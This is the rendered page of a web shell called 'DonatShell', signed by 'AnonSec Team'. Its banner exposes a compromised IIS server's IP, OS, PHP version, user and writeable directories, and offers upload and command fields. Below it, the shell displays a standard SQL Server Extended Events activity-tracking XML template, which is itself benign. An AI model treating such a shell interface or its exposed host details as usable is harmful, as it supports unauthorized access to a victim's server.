DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/Microsoft SQL Server/110/Tools/Templates/sql/xevent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Program Files (x86)/Microsoft SQL Server/110/Tools/Templates/sql/xevent/xe_activity.xml
<event_sessions xmlns="http://schemas.microsoft.com/sqlserver/2008/07/extendedeventsconfig">
  <event_session name="activity_tracking" maxMemory="4" eventRetentionMode="allowSingleEventLoss" trackCausality="true" dispatchLatency="30" maxEventSize="0" memoryPartitionMode="none">
    <templateCategory>
      <!-- _locID_text="templateCategory" _locComment = "" -->System Monitoring</templateCategory>
    <templateName>
      <!-- _locID_text = "templateName" _locComment = "" -->Activity Tracking</templateName>
    <templateDescription>
      <!-- _locID_text = "templateDescription" _locComment = "" -->This template is similar to the 'Default Trace' that exists in the SQL Trace system. Use this template to track general activity on your system. The difference between this template and the 'Default Trace' is that this template does not include security audit events. If you would like to audit your system you should use the SQL Server Audit feature.</templateDescription>
    <event package="sqlserver" name="database_file_size_change">
      <action package="sqlserver" name="client_app_name" />
      <action package="sqlserver" name="client_hostname" />
      <action package="sqlserver" name="client_pid" />
      <action package="sqlserver" name="database_id" />
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="nt_username" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="server_principal_name" />
      <action package="sqlserver" name="server_principal_sid" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_server_principal_name" />
      <parameter name="collect_database_name" value="1" />
    </event>
    <event package="sqlserver" name="database_mirroring_state_change">
      <action package="sqlserver" name="database_id" />
      <action package="sqlserver" name="database_name" />
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="request_id" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="server_principal_sid" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_server_principal_name" />
      <action package="sqlserver" name="transaction_id" />
    </event>
    <event package="sqlserver" name="error_reported">
      <action package="sqlserver" name="client_app_name" />
      <action package="sqlserver" name="client_hostname" />
      <action package="sqlserver" name="client_pid" />
      <action package="sqlserver" name="database_id" />
      <action package="sqlserver" name="database_name" />
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="nt_username" />
      <action package="sqlserver" name="request_id" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="server_principal_name" />
      <action package="sqlserver" name="server_principal_sid" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_server_principal_name" />
      <action package="sqlserver" name="transaction_id" />
      <predicate>
        <or>
          <or>
            <or>
              <or>
                <leaf>
                  <comparator name="equal_int64" package="package0"></comparator>
                  <event name="error_reported" package="sqlserver" field="error_number"></event>
                  <value>8957</value>
                </leaf>
                <leaf>
                  <comparator name="equal_int64" package="package0"></comparator>
                  <event name="error_reported" package="sqlserver" field="error_number"></event>
                  <value>17550</value>
                </leaf>
              </or>
              <leaf>
                <comparator name="equal_int64" package="package0"></comparator>
                <event name="error_reported" package="sqlserver" field="error_number"></event>
                <value>17551</value>
              </leaf>
            </or>
            <leaf>
              <comparator name="equal_int64" package="package0"></comparator>
              <event name="error_reported" package="sqlserver" field="error_number"></event>
              <value>15457</value>
            </leaf>
          </or>
          <leaf>
            <comparator name="greater_than_int64" package="package0"></comparator>
            <event name="error_reported" package="sqlserver" field="severity"></event>
            <value>18</value>
          </leaf>
        </or>
      </predicate>
    </event>
    <event package="sqlserver" name="full_text_crawl_started">
      <action package="sqlserver" name="database_id" />
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_server_principal_name" />
      <action package="sqlserver" name="transaction_id" />
    </event>
    <event package="sqlserver" name="full_text_crawl_stopped">
      <action package="sqlserver" name="database_id" />
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_server_principal_name" />
      <action package="sqlserver" name="transaction_id" />
    </event>
    <event package="sqlserver" name="hash_warning">
      <action package="sqlserver" name="client_app_name" />
      <action package="sqlserver" name="client_hostname" />
      <action package="sqlserver" name="client_pid" />
      <action package="sqlserver" name="database_id" />
      <action package="sqlserver" name="database_name" />
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="nt_username" />
      <action package="sqlserver" name="request_id" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="server_principal_name" />
      <action package="sqlserver" name="server_principal_sid" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_resource_group_id" />
      <action package="sqlserver" name="session_server_principal_name" />
      <action package="sqlserver" name="transaction_id" />
      <action package="sqlserver" name="transaction_sequence" />
    </event>
    <event package="sqlserver" name="missing_column_statistics">
      <action package="sqlserver" name="client_app_name" />
      <action package="sqlserver" name="client_hostname" />
      <action package="sqlserver" name="client_pid" />
      <action package="sqlserver" name="database_id" />
      <action package="sqlserver" name="database_name" />
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="nt_username" />
      <action package="sqlserver" name="request_id" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="server_principal_name" />
      <action package="sqlserver" name="server_principal_sid" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_resource_group_id" />
      <action package="sqlserver" name="session_server_principal_name" />
      <action package="sqlserver" name="transaction_id" />
      <action package="sqlserver" name="transaction_sequence" />
    </event>
    <event package="sqlserver" name="missing_join_predicate">
      <action package="sqlserver" name="client_app_name" />
      <action package="sqlserver" name="client_hostname" />
      <action package="sqlserver" name="client_pid" />
      <action package="sqlserver" name="database_id" />
      <action package="sqlserver" name="database_name" />
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="nt_username" />
      <action package="sqlserver" name="request_id" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="server_principal_name" />
      <action package="sqlserver" name="server_principal_sid" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_resource_group_id" />
      <action package="sqlserver" name="session_server_principal_name" />
      <action package="sqlserver" name="transaction_id" />
      <action package="sqlserver" name="transaction_sequence" />
    </event>
    <event package="sqlserver" name="object_altered">
      <action package="sqlserver" name="client_app_name" />
      <action package="sqlserver" name="client_hostname" />
      <action package="sqlserver" name="client_pid" />
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="nt_username" />
      <action package="sqlserver" name="request_id" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="server_principal_name" />
      <action package="sqlserver" name="server_principal_sid" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_resource_group_id" />
      <action package="sqlserver" name="session_server_principal_name" />
      <action package="sqlserver" name="transaction_sequence" />
      <parameter name="collect_database_name" value="1" />
      <predicate>
        <or>
          <leaf>
            <comparator name="not_equal_uint64" package="package0"></comparator>
            <event name="object_altered" package="sqlserver" field="database_id"></event>
            <value>2</value>
          </leaf>
          <and>
            <leaf>
              <comparator name="greater_than_int64" package="package0"></comparator>
              <event name="object_altered" package="sqlserver" field="object_id"></event>
              <value>0</value>
            </leaf>
            <not>
              <leaf>
                <comparator name="like_i_sql_unicode_string" package="sqlserver"></comparator>
                <event name="object_altered" package="sqlserver" field="object_name"></event>
                <value><![CDATA[#%]]></value>
              </leaf>
            </not>
          </and>
        </or>
      </predicate>
    </event>
    <event package="sqlserver" name="object_created">
      <action package="sqlserver" name="client_app_name" />
      <action package="sqlserver" name="client_hostname" />
      <action package="sqlserver" name="client_pid" />
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="nt_username" />
      <action package="sqlserver" name="request_id" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="server_principal_name" />
      <action package="sqlserver" name="server_principal_sid" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_resource_group_id" />
      <action package="sqlserver" name="session_server_principal_name" />
      <action package="sqlserver" name="transaction_sequence" />
      <parameter name="collect_database_name" value="1" />
      <predicate>
        <or>
          <leaf>
            <comparator name="not_equal_uint64" package="package0"></comparator>
            <event name="object_created" package="sqlserver" field="database_id"></event>
            <value>2</value>
          </leaf>
          <and>
            <leaf>
              <comparator name="greater_than_int64" package="package0"></comparator>
              <event name="object_created" package="sqlserver" field="object_id"></event>
              <value>0</value>
            </leaf>
            <not>
              <leaf>
                <comparator name="like_i_sql_unicode_string" package="sqlserver"></comparator>
                <event name="object_created" package="sqlserver" field="object_name"></event>
                <value><![CDATA[#%]]></value>
              </leaf>
            </not>
          </and>
        </or>
      </predicate>
    </event>
    <event package="sqlserver" name="object_deleted">
      <action package="sqlserver" name="client_app_name" />
      <action package="sqlserver" name="client_hostname" />
      <action package="sqlserver" name="client_pid" />
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="nt_username" />
      <action package="sqlserver" name="request_id" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="server_principal_name" />
      <action package="sqlserver" name="server_principal_sid" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_resource_group_id" />
      <action package="sqlserver" name="session_server_principal_name" />
      <action package="sqlserver" name="transaction_sequence" />
      <parameter name="collect_database_name" value="1" />
      <predicate>
        <or>
          <leaf>
            <comparator name="not_equal_uint64" package="package0"></comparator>
            <event name="object_deleted" package="sqlserver" field="database_id"></event>
            <value>2</value>
          </leaf>
          <and>
            <leaf>
              <comparator name="greater_than_int64" package="package0"></comparator>
              <event name="object_deleted" package="sqlserver" field="object_id"></event>
              <value>0</value>
            </leaf>
            <not>
              <leaf>
                <comparator name="like_i_sql_unicode_string" package="sqlserver"></comparator>
                <event name="object_deleted" package="sqlserver" field="object_name"></event>
                <value><![CDATA[#%]]></value>
              </leaf>
            </not>
          </and>
        </or>
      </predicate>
    </event>
    <event package="sqlserver" name="plan_guide_unsuccessful">
      <action package="sqlserver" name="client_app_name" />
      <action package="sqlserver" name="client_hostname" />
      <action package="sqlserver" name="client_pid" />
      <action package="sqlserver" name="database_id" />
      <action package="sqlserver" name="database_name" />
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="nt_username" />
      <action package="sqlserver" name="request_id" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="server_principal_name" />
      <action package="sqlserver" name="server_principal_sid" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_server_principal_name" />
      <action package="sqlserver" name="transaction_id" />
      <action package="sqlserver" name="transaction_sequence" />
    </event>
    <event package="sqlserver" name="server_memory_change">
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="request_id" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_server_principal_name" />
      <action package="sqlserver" name="transaction_id" />
      <action package="sqlserver" name="transaction_sequence" />
    </event>
    <event package="sqlserver" name="server_start_stop">
      <action package="sqlserver" name="client_app_name" />
      <action package="sqlserver" name="client_hostname" />
      <action package="sqlserver" name="client_pid" />
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="nt_username" />
      <action package="sqlserver" name="request_id" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="server_principal_name" />
      <action package="sqlserver" name="server_principal_sid" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_server_principal_name" />
    </event>
    <event package="sqlserver" name="sort_warning">
      <action package="sqlserver" name="client_app_name" />
      <action package="sqlserver" name="client_hostname" />
      <action package="sqlserver" name="client_pid" />
      <action package="sqlserver" name="database_id" />
      <action package="sqlserver" name="database_name" />
      <action package="sqlserver" name="event_sequence" />
      <action package="sqlserver" name="is_system" />
      <action package="sqlserver" name="nt_username" />
      <action package="sqlserver" name="request_id" />
      <action package="sqlserver" name="server_instance_name" />
      <action package="sqlserver" name="server_principal_name" />
      <action package="sqlserver" name="server_principal_sid" />
      <action package="sqlserver" name="session_id" />
      <action package="sqlserver" name="session_resource_group_id" />
      <action package="sqlserver" name="session_server_principal_name" />
      <action package="sqlserver" name="transaction_id" />
      <action package="sqlserver" name="transaction_sequence" />
    </event>
  </event_session>
</event_sessions>

Anon7 - 2022
AnonSec Team